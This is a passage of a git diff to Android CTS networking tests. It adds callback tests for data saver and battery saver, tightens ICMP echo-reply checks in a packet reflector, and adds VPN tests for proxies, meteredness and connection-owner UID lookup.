diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
new file mode 100644
index 0000000..24dde9d
--- /dev/null
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/NetworkCallbackTest.java
@@ -0,0 +1,241 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.net.hostside;
+
+import android.net.Network;
+
+import java.util.Objects;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class NetworkCallbackTest extends AbstractRestrictBackgroundNetworkTestCase {
+
+    private boolean mIsDataSaverSupported;
+    private Network mNetwork;
+    private final TestNetworkCallback mTestNetworkCallback = new TestNetworkCallback();
+
+    enum CallbackState {
+        NONE,
+        AVAILABLE,
+        LOST,
+        BLOCKED_STATUS
+    }
+
+    private static class CallbackInfo {
+        public final CallbackState state;
+        public final Network network;
+        public final Object arg;
+
+        CallbackInfo(CallbackState s, Network n, Object o) {
+            state = s; network = n; arg = o;
+        }
+
+        public String toString() {
+            return String.format("%s (%s) (%s)", state, network, arg);
+        }
+
+        @Override
+        public boolean equals(Object o) {
+            if (!(o instanceof CallbackInfo)) return false;
+            // Ignore timeMs, since it's unpredictable.
+            final CallbackInfo other = (CallbackInfo) o;
+            return (state == other.state) && Objects.equals(network, other.network)
+                    && Objects.equals(arg, other.arg);
+        }
+
+        @Override
+        public int hashCode() {
+            return Objects.hash(state, network, arg);
+        }
+    }
+
+    private class TestNetworkCallback extends INetworkCallback.Stub {
+        private static final int TEST_CALLBACK_TIMEOUT_MS = 200;
+
+        private final LinkedBlockingQueue<CallbackInfo> mCallbacks = new LinkedBlockingQueue<>();
+
+        protected void setLastCallback(CallbackState state, Network network, Object o) {
+            mCallbacks.offer(new CallbackInfo(state, network, o));
+        }
+
+        CallbackInfo nextCallback(int timeoutMs) {
+            CallbackInfo cb = null;
+            try {
+                cb = mCallbacks.poll(timeoutMs, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+            }
+            if (cb == null) {
+                fail("Did not receive callback after " + timeoutMs + "ms");
+            }
+            return cb;
+        }
+
+        CallbackInfo expectCallback(CallbackState state, Network expectedNetwork, Object o) {
+            final CallbackInfo expected = new CallbackInfo(state, expectedNetwork, o);
+            final CallbackInfo actual = nextCallback(TEST_CALLBACK_TIMEOUT_MS);
+            assertEquals("Unexpected callback:", expected, actual);
+            return actual;
+        }
+
+        @Override
+        public void onAvailable(Network network) {
+            setLastCallback(CallbackState.AVAILABLE, network, null);
+        }
+
+        @Override
+        public void onLost(Network network) {
+            setLastCallback(CallbackState.LOST, network, null);
+        }
+
+        @Override
+        public void onBlockedStatusChanged(Network network, boolean blocked) {
+            setLastCallback(CallbackState.BLOCKED_STATUS, network, blocked);
+        }
+
+        public void expectLostCallback(Network expectedNetwork) {
+            expectCallback(CallbackState.LOST, expectedNetwork, null);
+        }
+
+        public void expectAvailableCallback(Network expectedNetwork) {
+            expectCallback(CallbackState.AVAILABLE, expectedNetwork, null);
+        }
+
+        public void expectBlockedStatusCallback(Network expectedNetwork, boolean expectBlocked) {
+            expectCallback(CallbackState.BLOCKED_STATUS, expectedNetwork,
+                    expectBlocked);
+        }
+
+        void assertNoCallback() {
+            CallbackInfo cb = null;
+            try {
+                cb = mCallbacks.poll(TEST_CALLBACK_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                // Expected.
+            }
+            if (cb != null) {
+                assertNull("Unexpected callback: " + cb, cb);
+            }
+        }
+    }
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+
+        mIsDataSaverSupported = isDataSaverSupported();
+
+        mNetwork = mCm.getActiveNetwork();
+
+        // Set initial state.
+        setBatterySaverMode(false);
+        registerBroadcastReceiver();
+
+        if (!mIsDataSaverSupported) return;
+        setRestrictBackground(false);
+        removeRestrictBackgroundWhitelist(mUid);
+        removeRestrictBackgroundBlacklist(mUid);
+        assertRestrictBackgroundChangedReceived(0);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+
+        if (!mIsDataSaverSupported) return;
+
+        try {
+            resetMeteredNetwork();
+        } finally {
+            setRestrictBackground(false);
+        }
+    }
+
+    public void testOnBlockedStatusChanged_data_saver() throws Exception {
+        if (!mIsDataSaverSupported) return;
+
+        // Prepare metered wifi
+        if (!setMeteredNetwork()) return;
+
+        // Register callback
+        registerNetworkCallback((INetworkCallback.Stub) mTestNetworkCallback);
+        mTestNetworkCallback.expectAvailableCallback(mNetwork);
+        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+
+        // Enable restrict background
+        setRestrictBackground(true);
+        assertBackgroundNetworkAccess(false);
+        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
+
+        // Add to whitelist
+        addRestrictBackgroundWhitelist(mUid);
+        assertBackgroundNetworkAccess(true);
+        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+
+        // Remove from whitelist
+        removeRestrictBackgroundWhitelist(mUid);
+        assertBackgroundNetworkAccess(false);
+        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
+
+        // Set to non-metered network
+        setUnmeteredNetwork();
+        assertBackgroundNetworkAccess(true);
+        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+
+        // Disable restrict background, should not trigger callback
+        setRestrictBackground(false);
+        assertBackgroundNetworkAccess(true);
+        mTestNetworkCallback.assertNoCallback();
+    }
+
+
+    public void testOnBlockedStatusChanged_power_saver() throws Exception {
+        // Prepare metered wifi
+        if (!setMeteredNetwork()) return;
+
+        // Register callback
+        registerNetworkCallback((INetworkCallback.Stub) mTestNetworkCallback);
+        mTestNetworkCallback.expectAvailableCallback(mNetwork);
+        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+
+        // Enable Power Saver
+        setBatterySaverMode(true);
+        assertBackgroundNetworkAccess(false);
+        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
+
+        // Disable Power Saver
+        setBatterySaverMode(false);
+        assertBackgroundNetworkAccess(true);
+        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+
+        // Set to non-metered network
+        setUnmeteredNetwork();
+        mTestNetworkCallback.assertNoCallback();
+
+        // Enable Power Saver
+        setBatterySaverMode(true);
+        assertBackgroundNetworkAccess(false);
+        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, true);
+
+        // Disable Power Saver
+        setBatterySaverMode(false);
+        assertBackgroundNetworkAccess(true);
+        mTestNetworkCallback.expectBlockedStatusCallback(mNetwork, false);
+    }
+
+    // TODO: 1. test against VPN lockdown.
+    //       2. test against multiple networks.
+}
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/PacketReflector.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/PacketReflector.java
index a4a2956..124c2c3 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/PacketReflector.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/PacketReflector.java
@@ -16,6 +16,11 @@
 
 package com.android.cts.net.hostside;
 
+import static android.system.OsConstants.ICMP6_ECHO_REPLY;
+import static android.system.OsConstants.ICMP6_ECHO_REQUEST;
+import static android.system.OsConstants.ICMP_ECHO;
+import static android.system.OsConstants.ICMP_ECHOREPLY;
+
 import android.system.ErrnoException;
 import android.system.Os;
 import android.util.Log;
@@ -47,8 +52,6 @@
 
     private static final byte ICMP_ECHO = 8;
     private static final byte ICMP_ECHOREPLY = 0;
-    private static final byte ICMPV6_ECHO_REQUEST = (byte) 128;
-    private static final byte ICMPV6_ECHO_REPLY = (byte) 129;
 
     private static String TAG = "PacketReflector";
 
@@ -125,7 +128,7 @@
 
         byte type = buf[hdrLen];
         if (!(version == 4 && type == ICMP_ECHO) &&
-            !(version == 6 && type == ICMPV6_ECHO_REQUEST)) {
+            !(version == 6 && type == (byte) ICMP6_ECHO_REQUEST)) {
             return;
         }
 
@@ -145,10 +148,18 @@
             return;
         }
 
+        byte replyType = buf[hdrLen];
+        if ((type == ICMP_ECHO && replyType != ICMP_ECHOREPLY)
+                || (type == (byte) ICMP6_ECHO_REQUEST && replyType != (byte) ICMP6_ECHO_REPLY)) {
+            Log.i(TAG, "Received unexpected ICMP reply: original " + type
+                    + ", reply " + replyType);
+            return;
+        }
+
         // Compare the response we got with the original packet.
         // The only thing that should have changed are addresses, type and checksum.
         // Overwrite them with the received bytes and see if the packet is otherwise identical.
-        request[hdrLen] = buf[hdrLen];          // Type.
+        request[hdrLen] = buf[hdrLen];          // Type
         request[hdrLen + 2] = buf[hdrLen + 2];  // Checksum byte 1.
         request[hdrLen + 3] = buf[hdrLen + 3];  // Checksum byte 2.
 
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
index b3f61c4..2fc85f6 100755
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/VpnTest.java
@@ -16,8 +16,11 @@
 
 package com.android.cts.net.hostside;
 
+import static android.os.Process.INVALID_UID;
 import static android.system.OsConstants.*;
 
+import android.annotation.Nullable;
+import android.content.Context;
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
@@ -26,35 +29,32 @@
 import android.net.Network;
 import android.net.NetworkCapabilities;
 import android.net.NetworkRequest;
+import android.net.Proxy;
+import android.net.ProxyInfo;
 import android.net.VpnService;
+import android.net.wifi.WifiManager;
 import android.os.ParcelFileDescriptor;
 import android.os.Process;
 import android.os.SystemProperties;
 import android.support.test.uiautomator.UiDevice;
 import android.support.test.uiautomator.UiObject;
-import android.support.test.uiautomator.UiObjectNotFoundException;
-import android.support.test.uiautomator.UiScrollable;
 import android.support.test.uiautomator.UiSelector;
 import android.system.ErrnoException;
 import android.system.Os;
+import android.system.OsConstants;
 import android.system.StructPollfd;
 import android.test.InstrumentationTestCase;
 import android.test.MoreAsserts;
 import android.text.TextUtils;
 import android.util.Log;
 
-import com.android.cts.net.hostside.IRemoteSocketFactory;
+import com.android.compatibility.common.util.BlockingBroadcastReceiver;
 
-import java.io.BufferedReader;
 import java.io.Closeable;
 import java.io.FileDescriptor;
-import java.io.FileOutputStream;
-import java.io.FileInputStream;
-import java.io.InputStreamReader;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
-import java.io.PrintWriter;
 import java.net.DatagramPacket;
 import java.net.DatagramSocket;
 import java.net.Inet6Address;
@@ -62,9 +62,11 @@
 import java.net.InetSocketAddress;
 import java.net.ServerSocket;
 import java.net.Socket;
-import java.net.SocketException;
 import java.nio.charset.StandardCharsets;
+import java.util.ArrayList;
 import java.util.Random;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
 
 /**
  * Tests for the VpnService API.
@@ -102,6 +104,7 @@
     private MyActivity mActivity;
     private String mPackageName;
     private ConnectivityManager mCM;
+    private WifiManager mWifiManager;
     private RemoteSocketFactoryClient mRemoteSocketFactoryClient;
 
     Network mNetwork;
@@ -125,7 +128,8 @@
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
                 MyActivity.class, null);
         mPackageName = mActivity.getPackageName();
-        mCM = (ConnectivityManager) mActivity.getSystemService(mActivity.CONNECTIVITY_SERVICE);
+        mCM = (ConnectivityManager) mActivity.getSystemService(Context.CONNECTIVITY_SERVICE);
+        mWifiManager = (WifiManager) mActivity.getSystemService(Context.WIFI_SERVICE);
         mRemoteSocketFactoryClient = new RemoteSocketFactoryClient(mActivity);
         mRemoteSocketFactoryClient.bind();
         mDevice.waitForIdle();
@@ -194,10 +198,11 @@
         }
     }
 
+    // TODO: Consider replacing arguments with a Builder.
     private void startVpn(
-            String[] addresses, String[] routes,
-            String allowedApplications, String disallowedApplications) throws Exception {
-
+        String[] addresses, String[] routes, String allowedApplications,
+        String disallowedApplications, @Nullable ProxyInfo proxyInfo,
+        @Nullable ArrayList<Network> underlyingNetworks, boolean isAlwaysMetered) throws Exception {
         prepareVpn();
 
         // Register a callback so we will be notified when our VPN comes up.
@@ -223,7 +228,12 @@
                 .putExtra(mPackageName + ".addresses", TextUtils.join(",", addresses))
                 .putExtra(mPackageName + ".routes", TextUtils.join(",", routes))
                 .putExtra(mPackageName + ".allowedapplications", allowedApplications)
-                .putExtra(mPackageName + ".disallowedapplications", disallowedApplications);
+                .putExtra(mPackageName + ".disallowedapplications", disallowedApplications)
+                .putExtra(mPackageName + ".httpProxy", proxyInfo)
+                .putParcelableArrayListExtra(
+                    mPackageName + ".underlyingNetworks", underlyingNetworks)
+                .putExtra(mPackageName + ".isAlwaysMetered", isAlwaysMetered);
+
         mActivity.startService(intent);
         synchronized (mLock) {
             if (mNetwork == null) {
@@ -252,7 +262,8 @@
         mCallback = new NetworkCallback() {
             public void onLost(Network network) {
                 synchronized (mLockShutdown) {
-                    Log.i(TAG, "Got lost callback for network=" + network + ",mNetwork = " + mNetwork);
+                    Log.i(TAG, "Got lost callback for network=" + network
+                            + ",mNetwork = " + mNetwork);
                     if( mNetwork == network){
                         mLockShutdown.notify();
                     }
@@ -354,7 +365,7 @@
         MoreAsserts.assertEquals(data, read);
     }
 
-    private static void checkTcpReflection(String to, String expectedFrom) throws IOException {
+    private void checkTcpReflection(String to, String expectedFrom) throws IOException {
         // Exercise TCP over the VPN by "connecting to ourselves". We open a server socket and a
         // client socket, and connect the client socket to a remote host, with the port of the
         // server socket. The PacketReflector reflects the packets, changing the source addresses
@@ -392,7 +403,8 @@
             // Accept the connection on the server side.
             listen.setSoTimeout(SOCKET_TIMEOUT_MS);
             server = listen.accept();
-
+            checkConnectionOwnerUidTcp(client);
+            checkConnectionOwnerUidTcp(server);
             // Check that the source and peer addresses are as expected.
             assertEquals(expectedFrom, client.getLocalAddress().getHostAddress());
             assertEquals(expectedFrom, server.getLocalAddress().getHostAddress());
@@ -425,7 +437,23 @@
         }
     }
 
-    private static void checkUdpEcho(String to, String expectedFrom) throws IOException {
+    private void checkConnectionOwnerUidUdp(DatagramSocket s, boolean expectSuccess) {
+        final int expectedUid = expectSuccess ? Process.myUid() : INVALID_UID;
+        InetSocketAddress loc = new InetSocketAddress(s.getLocalAddress(), s.getLocalPort());
+        InetSocketAddress rem = new InetSocketAddress(s.getInetAddress(), s.getPort());
+        int uid = mCM.getConnectionOwnerUid(OsConstants.IPPROTO_UDP, loc, rem);
+        assertEquals(expectedUid, uid);
+    }
+
+    private void checkConnectionOwnerUidTcp(Socket s) {
+        final int expectedUid = Process.myUid();
+        InetSocketAddress loc = new InetSocketAddress(s.getLocalAddress(), s.getLocalPort());
+        InetSocketAddress rem = new InetSocketAddress(s.getInetAddress(), s.getPort());
+        int uid = mCM.getConnectionOwnerUid(OsConstants.IPPROTO_TCP, loc, rem);
+        assertEquals(expectedUid, uid);
+    }
+
+    private void checkUdpEcho(String to, String expectedFrom) throws IOException {
         DatagramSocket s;
         InetAddress address = InetAddress.getByName(to);
         if (address instanceof Inet6Address) {  // http://b/18094870
@@ -449,6 +477,7 @@
         try {
             if (expectedFrom != null) {
                 s.send(p);
+                checkConnectionOwnerUidUdp(s, true);
                 s.receive(p);
                 MoreAsserts.assertEquals(data, p.getData());
             } else {
@@ -456,7 +485,9 @@
                     s.send(p);
                     s.receive(p);
                     fail("Received unexpected reply");
-                } catch(IOException expected) {}
+                } catch (IOException expected) {
+                    checkConnectionOwnerUidUdp(s, false);
+                }
             }
         } finally {
             s.close();
@@ -547,15 +578,27 @@
             return;
         }
 
+        final BlockingBroadcastReceiver receiver = new BlockingBroadcastReceiver(
+                getInstrumentation().getTargetContext(), MyVpnService.ACTION_ESTABLISHED);
+        receiver.register();
+
         FileDescriptor fd = openSocketFdInOtherApp(TEST_HOST, 80, TIMEOUT_MS);
 
         startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
                  new String[] {"0.0.0.0/0", "::/0"},
-                 "", "");
+                 "", "", null, null /* underlyingNetworks */, false /* isAlwaysMetered */);
+
+        final Intent intent = receiver.awaitForBroadcast(TimeUnit.MINUTES.toMillis(1));
+        assertNotNull("Failed to receive broadcast from VPN service", intent);
+        assertFalse("Wrong VpnService#isAlwaysOn",
+                intent.getBooleanExtra(MyVpnService.EXTRA_ALWAYS_ON, true));
+        assertFalse("Wrong VpnService#isLockdownEnabled",
+                intent.getBooleanExtra(MyVpnService.EXTRA_LOCKDOWN_ENABLED, true));
 
         assertSocketClosed(fd, TEST_HOST);
 
         checkTrafficOnVpn();
+        receiver.unregisterQuietly();
     }
 
     public void testAppAllowed() throws Exception {
@@ -567,7 +610,7 @@
         String allowedApps = mRemoteSocketFactoryClient.getPackageName() + "," + mPackageName;
         startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
                  new String[] {"192.0.2.0/24", "2001:db8::/32"},
-                 allowedApps, "");
+                 allowedApps, "", null, null /* underlyingNetworks */, false /* isAlwaysMetered */);
 
         assertSocketClosed(fd, TEST_HOST);
 
@@ -589,11 +632,321 @@
         Log.i(TAG, "Append shell app to disallowedApps: " + disallowedApps);
         startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
                  new String[] {"192.0.2.0/24", "2001:db8::/32"},
-                 "", disallowedApps);
+                 "", disallowedApps, null, null /* underlyingNetworks */,
+                 false /* isAlwaysMetered */);
 
         assertSocketStillOpen(localFd, TEST_HOST);
         assertSocketStillOpen(remoteFd, TEST_HOST);
 
         checkNoTrafficOnVpn();
     }
+
+    public void testGetConnectionOwnerUidSecurity() throws Exception {
+        if (!supportedHardware()) return;
+
+        DatagramSocket s;
+        InetAddress address = InetAddress.getByName("localhost");
+        s = new DatagramSocket();
+        s.setSoTimeout(SOCKET_TIMEOUT_MS);
+        s.connect(address, 7);
+        InetSocketAddress loc = new InetSocketAddress(s.getLocalAddress(), s.getLocalPort());
+        InetSocketAddress rem = new InetSocketAddress(s.getInetAddress(), s.getPort());
+        try {
+            int uid = mCM.getConnectionOwnerUid(OsConstants.IPPROTO_TCP, loc, rem);
+            fail("Only an active VPN app may call this API.");
+        } catch (SecurityException expected) {
+            return;
+        }
+    }
+
+    public void testSetProxy() throws  Exception {
+        if (!supportedHardware()) return;
+        ProxyInfo initialProxy = mCM.getDefaultProxy();
+        // Receiver for the proxy change broadcast.
+        BlockingBroadcastReceiver proxyBroadcastReceiver = new ProxyChangeBroadcastReceiver();
+        proxyBroadcastReceiver.register();
+
+        String allowedApps = mPackageName;
+        ProxyInfo testProxyInfo = ProxyInfo.buildDirectProxy("10.0.0.1", 8888);
+        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
+                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "",
+                testProxyInfo, null /* underlyingNetworks */, false /* isAlwaysMetered */);
+
+        // Check that the proxy change broadcast is received
+        try {
+            assertNotNull("No proxy change was broadcast when VPN is connected.",
+                    proxyBroadcastReceiver.awaitForBroadcast());
+        } finally {
+            proxyBroadcastReceiver.unregisterQuietly();
+        }
+
+        // Proxy is set correctly in network and in link properties.
+        assertNetworkHasExpectedProxy(testProxyInfo, mNetwork);
+        assertDefaultProxy(testProxyInfo);
+
+        proxyBroadcastReceiver = new ProxyChangeBroadcastReceiver();
+        proxyBroadcastReceiver.register();
+        stopVpn();
+        try {
+            assertNotNull("No proxy change was broadcast when VPN was disconnected.",
+                    proxyBroadcastReceiver.awaitForBroadcast());
+        } finally {
+            proxyBroadcastReceiver.unregisterQuietly();
+        }
+
+        // After disconnecting from VPN, the proxy settings are the ones of the initial network.
+        assertDefaultProxy(initialProxy);
+    }
+
+    public void testSetProxyDisallowedApps() throws Exception {
+        if (!supportedHardware()) return;
+        ProxyInfo initialProxy = mCM.getDefaultProxy();
+
+        // If adb TCP port opened, this test may running by adb over TCP.
+        // Add com.android.shell appllication into blacklist to exclude adb socket for VPN test,
+        // see b/119382723.
+        // Note: The test don't support running adb over network for root device
+        String disallowedApps = mPackageName + ",com.android.shell";
+        ProxyInfo testProxyInfo = ProxyInfo.buildDirectProxy("10.0.0.1", 8888);
+        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
+                new String[] {"0.0.0.0/0", "::/0"}, "", disallowedApps,
+                testProxyInfo, null /* underlyingNetworks */, false /* isAlwaysMetered */);
+
+        // The disallowed app does has the proxy configs of the default network.
+        assertNetworkHasExpectedProxy(initialProxy, mCM.getActiveNetwork());
+        assertDefaultProxy(initialProxy);
+    }
+
+    public void testNoProxy() throws Exception {
+        if (!supportedHardware()) return;
+        ProxyInfo initialProxy = mCM.getDefaultProxy();
+        BlockingBroadcastReceiver proxyBroadcastReceiver = new ProxyChangeBroadcastReceiver();
+        proxyBroadcastReceiver.register();
+        String allowedApps = mPackageName;
+        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
+                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
+                null /* underlyingNetworks */, false /* isAlwaysMetered */);
+
+        try {
+            assertNotNull("No proxy change was broadcast.",
+                    proxyBroadcastReceiver.awaitForBroadcast());
+        } finally {
+            proxyBroadcastReceiver.unregisterQuietly();
+        }
+
+        // The VPN network has no proxy set.
+        assertNetworkHasExpectedProxy(null, mNetwork);
+
+        proxyBroadcastReceiver = new ProxyChangeBroadcastReceiver();
+        proxyBroadcastReceiver.register();
+        stopVpn();
+        try {
+            assertNotNull("No proxy change was broadcast.",
+                    proxyBroadcastReceiver.awaitForBroadcast());
+        } finally {
+            proxyBroadcastReceiver.unregisterQuietly();
+        }
+        // After disconnecting from VPN, the proxy settings are the ones of the initial network.
+        assertDefaultProxy(initialProxy);
+        assertNetworkHasExpectedProxy(initialProxy, mCM.getActiveNetwork());
+    }
+
+    public void testBindToNetworkWithProxy() throws Exception {
+        if (!supportedHardware()) return;
+        String allowedApps = mPackageName;
+        Network initialNetwork = mCM.getActiveNetwork();
+        ProxyInfo initialProxy = mCM.getDefaultProxy();
+        ProxyInfo testProxyInfo = ProxyInfo.buildDirectProxy("10.0.0.1", 8888);
+        // Receiver for the proxy change broadcast.
+        BlockingBroadcastReceiver proxyBroadcastReceiver = new ProxyChangeBroadcastReceiver();
+        proxyBroadcastReceiver.register();
+        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
+                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "",
+                testProxyInfo, null /* underlyingNetworks */, false /* isAlwaysMetered */);
+
+        assertDefaultProxy(testProxyInfo);
+        mCM.bindProcessToNetwork(initialNetwork);
+        try {
+            assertNotNull("No proxy change was broadcast.",
+                proxyBroadcastReceiver.awaitForBroadcast());
+        } finally {
+            proxyBroadcastReceiver.unregisterQuietly();
+        }
+        assertDefaultProxy(initialProxy);
+    }
+
+    public void testVpnMeterednessWithNoUnderlyingNetwork() throws Exception {
+        if (!supportedHardware()) {
+            return;
+        }
+        // VPN is not routing any traffic i.e. its underlying networks is an empty array.
+        ArrayList<Network> underlyingNetworks = new ArrayList<>();
+        String allowedApps = mPackageName;
+
+        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
+                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
+                underlyingNetworks, false /* isAlwaysMetered */);
+
+        // VPN should now be the active network.
+        assertEquals(mNetwork, mCM.getActiveNetwork());
+        assertVpnTransportContains(NetworkCapabilities.TRANSPORT_VPN);
+        // VPN with no underlying networks should be metered by default.
+        assertTrue(isNetworkMetered(mNetwork));
+        assertTrue(mCM.isActiveNetworkMetered());
+    }
+
+    public void testVpnMeterednessWithNullUnderlyingNetwork() throws Exception {
+        if (!supportedHardware()) {
+            return;
+        }
+        Network underlyingNetwork = mCM.getActiveNetwork();
+        if (underlyingNetwork == null) {
+            Log.i(TAG, "testVpnMeterednessWithNullUnderlyingNetwork cannot execute"
+                    + " unless there is an active network");
+            return;
+        }
+        // VPN tracks platform default.
+        ArrayList<Network> underlyingNetworks = null;
+        String allowedApps = mPackageName;
+
+        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
+                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
+                underlyingNetworks, false /*isAlwaysMetered */);
+
+        // Ensure VPN transports contains underlying network's transports.
+        assertVpnTransportContains(underlyingNetwork);
+        // Its meteredness should be same as that of underlying network.
+        assertEquals(isNetworkMetered(underlyingNetwork), isNetworkMetered(mNetwork));
+        // Meteredness based on VPN capabilities and CM#isActiveNetworkMetered should be in sync.
+        assertEquals(isNetworkMetered(mNetwork), mCM.isActiveNetworkMetered());
+    }
+
+    public void testVpnMeterednessWithNonNullUnderlyingNetwork() throws Exception {
+        if (!supportedHardware()) {
+            return;
+        }
+        Network underlyingNetwork = mCM.getActiveNetwork();
+        if (underlyingNetwork == null) {
+            Log.i(TAG, "testVpnMeterednessWithNonNullUnderlyingNetwork cannot execute"
+                    + " unless there is an active network");
+            return;
+        }
+        // VPN explicitly declares WiFi to be its underlying network.
+        ArrayList<Network> underlyingNetworks = new ArrayList<>(1);
+        underlyingNetworks.add(underlyingNetwork);
+        String allowedApps = mPackageName;
+
+        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
+                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
+                underlyingNetworks, false /* isAlwaysMetered */);
+
+        // Ensure VPN transports contains underlying network's transports.
+        assertVpnTransportContains(underlyingNetwork);
+        // Its meteredness should be same as that of underlying network.
+        assertEquals(isNetworkMetered(underlyingNetwork), isNetworkMetered(mNetwork));
+        // Meteredness based on VPN capabilities and CM#isActiveNetworkMetered should be in sync.
+        assertEquals(isNetworkMetered(mNetwork), mCM.isActiveNetworkMetered());
+    }
+
+    public void testAlwaysMeteredVpnWithNullUnderlyingNetwork() throws Exception {
+        if (!supportedHardware()) {
+            return;
+        }
+        Network underlyingNetwork = mCM.getActiveNetwork();
+        if (underlyingNetwork == null) {
+            Log.i(TAG, "testAlwaysMeteredVpnWithNullUnderlyingNetwork cannot execute"
+                    + " unless there is an active network");
+            return;
+        }
+        // VPN tracks platform default.
+        ArrayList<Network> underlyingNetworks = null;
+        String allowedApps = mPackageName;
+        boolean isAlwaysMetered = true;
+
+        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
+                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
+                underlyingNetworks, isAlwaysMetered);
+
+        // VPN's meteredness does not depend on underlying network since it is always metered.
+        assertTrue(isNetworkMetered(mNetwork));
+        assertTrue(mCM.isActiveNetworkMetered());
+    }
+
+    public void testAlwaysMeteredVpnWithNonNullUnderlyingNetwork() throws Exception {
+        if (!supportedHardware()) {
+            return;
+        }
+        Network underlyingNetwork = mCM.getActiveNetwork();
+        if (underlyingNetwork == null) {
+            Log.i(TAG, "testAlwaysMeteredVpnWithNonNullUnderlyingNetwork cannot execute"
+                    + " unless there is an active network");
+            return;
+        }
+        // VPN explicitly declares its underlying network.
+        ArrayList<Network> underlyingNetworks = new ArrayList<>(1);
+        underlyingNetworks.add(underlyingNetwork);
+        String allowedApps = mPackageName;
+        boolean isAlwaysMetered = true;
+
+        startVpn(new String[] {"192.0.2.2/32", "2001:db8:1:2::ffe/128"},
+                new String[] {"0.0.0.0/0", "::/0"}, allowedApps, "", null,
+                underlyingNetworks, isAlwaysMetered);
+
+        // VPN's meteredness does not depend on underlying network since it is always metered.
+        assertTrue(isNetworkMetered(mNetwork));
+        assertTrue(mCM.isActiveNetworkMetered());
+    }
+
+    private boolean isNetworkMetered(Network network) {
+        NetworkCapabilities nc = mCM.getNetworkCapabilities(network);
+        return !nc.hasCapability(NetworkCapabilities.NET_CAPABILITY_NOT_METERED);
+    }
+
+    private void assertVpnTransportContains(Network underlyingNetwork) {
+        int[] transports = mCM.getNetworkCapabilities(underlyingNetwork).getTransportTypes();
+        assertVpnTransportContains(transports);
+    }
+
+    private void assertVpnTransportContains(int... transports) {
+        NetworkCapabilities vpnCaps = mCM.getNetworkCapabilities(mNetwork);
+        for (int transport : transports) {
+            assertTrue(vpnCaps.hasTransport(transport));
+        }
+    }
+
+    private void assertDefaultProxy(ProxyInfo expected) {
+        assertEquals("Incorrect proxy config.", expected, mCM.getDefaultProxy());
+        String expectedHost = expected == null ? null : expected.getHost();
+        String expectedPort = expected == null ? null : String.valueOf(expected.getPort());
+        assertEquals("Incorrect proxy host system property.", expectedHost,
+            System.getProperty("http.proxyHost"));
+        assertEquals("Incorrect proxy port system property.", expectedPort,
+            System.getProperty("http.proxyPort"));
+    }
+
+    private void assertNetworkHasExpectedProxy(ProxyInfo expected, Network network) {
+        LinkProperties lp = mCM.getLinkProperties(network);
+        assertNotNull("The network link properties object is null.", lp);
+        assertEquals("Incorrect proxy config.", expected, lp.getHttpProxy());
+
+        assertEquals(expected, mCM.getProxyForNetwork(network));
+    }
+
+    class ProxyChangeBroadcastReceiver extends BlockingBroadcastReceiver {
+        private boolean received;
+
+        public ProxyChangeBroadcastReceiver() {
+            super(VpnTest.this.getInstrumentation().getContext(), Proxy.PROXY_CHANGE_ACTION);
+            received = false;
+        }
+
+        @Override
